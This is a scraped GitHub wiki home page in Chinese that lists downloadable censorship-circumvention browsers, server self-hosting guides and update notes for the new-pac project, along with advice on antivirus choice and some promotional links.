data-pjax="#js-repo-pjax-container" href="/Alvin9999/new-pac">new-pac</a></strong> </h1> </div> <nav class="reponav js-repo-nav js-sidenav-container-pjax container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" data-hotkey="g i" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <svg class="octicon octicon-issue-opened" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a data-hotkey="g p" itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <a data-hotkey="g b" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> Projects <span class="Counter" >0</span> </a> <a class="js-selected-navigation-item selected reponav-item" data-hotkey="g w" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <svg class="octicon octicon-book" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg> Wiki </a> <a class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors dependency_graph pulse alerts security people /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> <svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg> Insights </a> </nav> <div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <span itemprop="name">Projects</span> <span class="Counter">0</span> <meta itemprop="position" content="4"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item selected reponav-item" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <span itemprop="name">Wiki</span> <meta itemprop="position" content="5"> </a> </span> <a class="js-selected-navigation-item reponav-item" data-selected-links="pulse /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> Pulse </a> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="community /Alvin9999/new-pac/community" href="/Alvin9999/new-pac/community"> Community </a> </span> </nav> </div> </div> <div class="container-lg new-discussion-timeline experiment-repo-nav p-responsive"> <div class="repository-content "> <div id="wiki-wrapper" class="page"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title instapaper_title">Home</h1> <div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> <a href="#wiki-pages-box" class="d-md-none ">Jump to bottom</a> </div> </div> <div class="mt-2 mt-md-1 pb-3 gh-header-meta"> 自由上网 edited this page <relative-time datetime="2019-02-19T14:44:48Z">Feb 19, 2019</relative-time> · <a href="/Alvin9999/new-pac/wiki/Home/_history" class="muted-link"> 1061 revisions </a> </div> <div id="wiki-content" class="d-flex flex-column flex-md-row"> <div id="wiki-body" class="mt-4 flex-auto min-width-0 gollum-markdown-content instapaper_body"> <div class="markdown-body"> <h3> <a id="user-content-自由上网方法" class="anchor" href="#%E8%87%AA%E7%94%B1%E4%B8%8A%E7%BD%91%E6%96%B9%E6%B3%95" aria-hidden="true"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong>自由上网方法</strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong> </h3> <pre><code> 一键翻墙浏览器 </code></pre> <p>永久免费。不用安装,无需设置,解压后使用。稳定、流畅、高速,长期更新。</p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/%E5%9B%BE%E6%A0%87.PNG" alt=""></p> <p><strong>介绍</strong>:GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,适合windows操作系统,比如:Xp、win7、win8、win10系统。浏览器自带翻译插件和YouTube视频下载脚本,方便且实用。压缩包文件的格式是7z,如果解压出错,用7解压软件来解压(<a href="https://sparanoid.com/lab/7z/" rel="nofollow">7z解压软件下载地址</a>)。</p> <p><strong>注意</strong>:软件都是采用加密方式的,但为了更稳定、更安全的翻墙,建议卸载国产杀毒软件,至少翻墙时不要用它们!因为很多国产杀毒软件,比如360安全卫生、360杀毒软件、腾讯管家、金山卫士等不仅仅会起干扰作用,造成软件无法正常使用或速度变慢,它们与防火墙还有千丝万缕的关系!其实win10自带的defender就有杀毒的功能,如果还需要安全软件,可以用国外的杀毒软件<a href="http://files.avast.com/iavs9x/avast_free_antivirus_setup_offline.exe" rel="nofollow">avast</a>,防火墙<a href="https://github.com/henrypp/simplewall/releases/download/v.2.3.4/simplewall-2.3.4-setup.exe">simplewall</a>,还有清理软件<a href="http://downloads.wisecleaner.com/soft/WiseCare365.exe" rel="nofollow">wisecare365</a>。它们都是免费的,而且不会干扰电脑运行。</p> <p><strong>选择指南</strong>:有GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,可以按照顺序依次尝试。由于国内网络环境不同、地区不同,封锁强度会不同,所以使用效果会有差别,有的地区几乎所有的软件都能使用,有的只能用几款,因此具体哪款软件适合你的网络环境,需要你自己来尝试。内存低于2G的电脑建议用<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>。还有<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a>可供选择,电脑、手机、平板都能使用。如果想自己搭建翻墙服务器,可以学习<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss/ssr服务器教程</a>或<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a>。</p> <p><strong>2018年6月6日</strong>:发布<a href="https://gitlab.com/Alvin9999/free/wikis/home" rel="nofollow">备用项目地址</a> 。</p> <p><strong>2019年1月18日公告</strong>:ipv6版国内大多数地区已失效,如果你无法使用ipv6版,请更换其它类型的软件。</p> <p><strong>推荐YouTube视频频道</strong>:<a href="https://www.youtube.com/channel/UCa6ERCDt3GzkvLye32ar89w/videos" rel="nofollow">历史上的今天</a> <a href="https://www.youtube.com/channel/UCtAIPjABiQD3qjlEl1T5VpA/featured" rel="nofollow">文昭談古論今</a></p> <hr> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">谷歌浏览器69高内核版</a> (2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a> (2018年6月22日更新方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">谷歌浏览器低内核GoAgent ipv6版</a> (2018年12月20日云端更新GoAgent ipv6)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/v2ray%E7%89%88">谷歌浏览器低内核v2ray版</a> (2018年12月27日云端更新v2ray配置信息)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SSR%E7%89%88">谷歌浏览器低内核SSR版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">谷歌浏览器低内核赛风版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">谷歌浏览器低内核FreeGate和WuJie版</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">谷歌浏览器低内核SkyZip版</a>(2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">谷歌浏览器低内核GoProxy ipv6版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a> (2018年1月31日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a> (2018年10月28日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建SS/SSR服务器教程</a> (2018年11月21日增加SS/SSR部署备用脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a> (2019年2月11日更新一键部署v2ray脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a>(2018年6月24日更新聚缘阁安卓版)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙方法</a>(2018年2月24日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">MAC翻墙方法</a>(2017年12月25日删除无效方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙方法</a>(2018年2月4日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a> (2018年5月30日增加Linux SSR 使用方法二)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a> (2018年11月25日发布)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a> (2018年4月26日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a> (推荐两本关于网络安全的书籍)</p> <hr> <p>真心希望大家都能够突破网络封锁、获得真相,祝愿每位善良的人都能拥有一个美好的未来。</p> <p>2019年神韵晚会超清预告片<a href="http://108.61.224.82:8000/f/ddd18239a6/" rel="nofollow">在线观看或下载</a></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/shenyun003.jpg" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/1.JPG" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/2.JPG" alt=""></p> <hr> <p>有问题可以发帖<a href="https://github.com/Alvin9999/new-pac/issues">反馈交流</a>,或者发邮件到海外邮箱<a href="mailto:kebi2014@gmail.com">kebi2014@gmail.com</a>进行反馈,反馈邮件标题最好注明什么软件及截图。</p> </div> </div> <div id="wiki-rightbar" class="mt-4 ml-md-6 flex-shrink-0 width-full wiki-rightbar"> <div id="wiki-pages-box" class="mb-4 wiki-pages-box js-wiki-pages-box" role="navigation"> <div class="Box Box--condensed box-shadow"> <div class="Box-header js-wiki-toggle-collapse" style="cursor: pointer"> <h3 class="Box-title"> <svg class="octicon octicon-triangle-down js-wiki-sidebar-toggle-display" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 5l6 6 6-6H0z"/></svg> <svg class="octicon octicon-triangle-right js-wiki-sidebar-toggle-display d-none" viewBox="0 0 6 16" version="1.1" width="6" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 14l6-6-6-6v12z"/></svg> Pages <span class="Counter Counter--gray">27</span> </h3> </div> <div class=" js-wiki-sidebar-toggle-display"> <div class="filter-bar"> <input type="text" id="wiki-pages-filter" class="form-control input-sm input-block js-filterable-field" placeholder="Find a Page…" aria-label="Find a Page…"> </div> <ul class="m-0 p-0 list-style-none" data-filterable-for="wiki-pages-filter" data-filterable-type="substring"> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki">Home</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">FreeGate和WuJie版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">GoAgent ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">GoProxy ipv6版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">SkyZip版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/SSR%E7%89%88">SSR版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/ss%E5%85%8D%E8%B4%B9%E8%B4%A6%E5%8F%B7">ss免费账号</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/v2ray%E7%89%88">v2ray版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E4%BD%8E%E5%86%85%E6%A0%B8%E7%89%88">低内核版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAgoogle-appid%E6%95%99%E7%A8%8B">自建google appid教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果电脑MAC翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E6%B5%8F%E8%A7%88%E5%99%A8%E5%86%85%E6%A0%B8%E5%8D%87%E7%BA%A7%E6%96%B9%E6%B3%95">谷歌浏览器内核升级方法</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">赛风版</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">高内核版</a></strong> </li> <li class="Box-row wiki-more-pages-link"> <button type="button" class="f6 mx-auto btn-link muted-link js-wiki-more-pages-link"> Show 12 more pages… </button> </li> </ul> </div> </div> </div> <h5 class="mt-0 mb-2">Clone this wiki locally</h5> <div class="width-full input-group"> <input id="wiki-clone-url" type="text" data-autoselect class="form-control input-sm text-small text-gray input-monospace" aria-label="Clone URL for this wiki" value="https://github.com/Alvin9999/new-pac.wiki.git" readonly="readonly"> <span class="input-group-button"> <clipboard-copy for="wiki-clone-url" aria-label="Copy to clipboard" class="btn btn-sm zeroclipboard-button"> <svg class="octicon octicon-clippy" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 13h4v1H2v-1zm5-6H2v1h5V7zm2 3V8l-3 3 3 3v-2h5v-2H9zM4.5 9H2v1h2.5V9zM2 12h2.5v-1H2v1zm9 1h1v2c-.02.28-.11.52-.3.7-.19.18-.42.28-.7.3H1c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h3c0-1.11.89-2 2-2 1.11 0 2 .89 2 2h3c.55 0 1 .45 1 1v5h-1V6H1v9h10v-2zM2 5h8c0-.55-.45-1-1-1H8c-.55 0-1-.45-1-1s-.45-1-1-1-1 .45-1 1-.45 1-1 1H3c-.55 0-1 .45-1 1z"/></svg> </clipboard-copy> </span> </div> </div> </div> </div> <div class="modal-backdrop js-touch-events"></div> </div> </div> </div> </div> <div class="footer container-lg p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-start mb-2 mb-lg-0"> <li class="mr-3">© 2019 <span title="0.26529s from unicorn-6b7d8f46b9-6kz2x">GitHub</span>, Inc.</li> <li class="mr-3"><a data-ga-click="Footer, go to terms, text:terms" href="https://github.com/site/terms">Terms</a></li> <li class="mr-3"><a data-ga-click="Footer, go to privacy, text:privacy" href="https://github.com/site/privacy">Privacy</a></li> <li class="mr-3"><a data-ga-click="Footer, go to security, text:security" href="https://github.com/security">Security</a></li> <li class="mr-3"><a href="https://githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a></li> <li><a data-ga-click="Footer, go to help, text:help" href="https://help.github.com">Help</a></li> </ul> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-lg-4" href="https://github.com"> <svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-end mb-2 mb-lg-0"> <li class="mr-3"><a data-ga-click="Footer, go to contact, text:contact" href="https://github.com/contact">Contact GitHub</a></li> <li class="mr-3"><a href="https://github.com/pricing" data-ga-click="Footer, go to Pricing, text:Pricing">Pricing</a></li> <li class="mr-3"><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mr-3"><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mr-3"><a href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 text-gray-light"></span> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> You can’t perform that action at this time. </div> <script crossorigin="anonymous" 